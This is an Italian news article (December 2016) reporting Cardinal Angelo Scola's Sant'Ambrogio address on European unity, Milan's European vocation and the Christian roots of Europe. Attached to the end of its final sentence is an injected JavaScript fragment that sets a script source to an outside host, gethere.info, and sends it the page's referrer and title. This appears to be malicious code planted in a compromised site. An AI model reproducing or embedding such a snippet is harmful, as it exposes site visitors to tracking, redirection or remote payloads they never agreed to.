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Sant’Ambrogio, Discorso di Scola sull’Europa: “Ideali in stallo, perseguire unità ripartendo dal reale”

6 dicembre 2016 Cronaca

“Milano rappresenta una delle metropoli diffuse che costituiscono i motori pulsanti del continente europeo in grado di evolversi e mutare, ancora capace di stupire l’osservatore poiché rivela forti contraddizioni, ma anche inaspettate capacità di “rinascita”. Gli osservatori dell’attualità milanese non mancano di sottolineare il dinamismo del dopo Expo nella nostra metropoli. Un dinamismo che, certamente, necessita di tanto impegno poiché le contraddizioni sono ancora tante: dal problema urbanistico e della casa, al degrado di alcune zone periferiche, da una povertà e fenomeni talora vistosi di esclusione, diffusi a macchia di leopardo, all’accoglienza e all’integrazione delle minoranze etniche”. Così il cardinale Angelo Scola nel suo Discorso alla Città in Sant’Ambrogio incentrato sul tema dell’Europa e il ruolo di Milano, città il cardinale definisce a “vocazione e missione europea”.  Una collocazione di Milano quindi ‘al centro’ di un’Europa la cui storia recente è connotata, ha detto Scola,  “da tanti punti di svolta con cui il solco tracciato dai pionieri dell’Unione Europea ha subito delle torsioni: passi in avanti, ma anche passi indietro, in un certo senso”.  Il cardinale sottolinea come “le contraddizioni emergono anche solo nei pochi esempi fatti: una moneta unica (grande passaggio nell’integrazione), ma non esito del convergere delle diverse politiche degli Stati membri; una integrazione non più solo economica, ma i nuovi pilastri più propriamente politici funzionano secondo le “vecchie” regole del diritto internazionale. E così si potrebbe proseguire parlando dell’allargamento del 2004 ai paesi dell’est o ai primi referendum contrari all’integrazione europea (nello specifico, alla proposta della costituzione europea). Senza poter ripercorrere tutta la storia europea nei suoi dettagli, dal Trattato di Maastricht in avanti la progettazione volta all’approfondimento degli ideali”, secondo il cardinale, “è dunque caduta in una fase di stallo, se non addirittura di un marcato disincanto rispetto alla possibilità di guadagnare ulteriori mete del processo di integrazione europea. La mancata ratifica del Trattato costituzionale europeo mostra, del resto, con evidenza tale battuta d’arresto, segno, forse, che i valori attuali dell’integrazione europea – diritti, doveri e democrazia – non risultano apprezzati o compresi da quei popoli cui spetta approvare il cammino comunitario”.   “La strada percorsa all’inizio storico delle attuali istituzioni europee – con la costituzione della CECA – individua un metodo con cui, anche nel radicalmente mutato scenario odierno, è possibile perseguire l’unità. Si tratta, inoltre, di un metodo congeniale alla storia e al temperamento dinamico ed operoso dei milanesi. Siamo chiamati – per Scola – a partire dalla realtà, nelle sue urgenze concrete, per lasciar emergere l’ideale. L’ideale, non l’utopia, vale a dire un senso (significato e direzione) per un cammino comune europeo”. “Un sano rapporto tra reale e ideale come metodo per edificare una comune casa europea  mostra che in Europa siamo attrezzati per affrontare l’inevitabile tensione tra identità e differenza e tra unità e pluralità che, a ben vedere, anche se con caratteri diversi, ha connotato ogni epoca – ha aggiunto -. E lo siamo proprio grazie alla radice cristiana delle nostre culture. Infatti il principio della differenza nell’unità vive, per eccellenza, nel mistero della Trinità. Tale principio trapassa nella storia in forza dell’incarnazione di Gesù Cristo per diventare principio di comprensione e valorizzazione di ogni differenza, da quelle costitutive di anima-corpo, uomo-donna, individuo-società, persona-comunità, a tutte le diversità etniche, culturali e religiose”.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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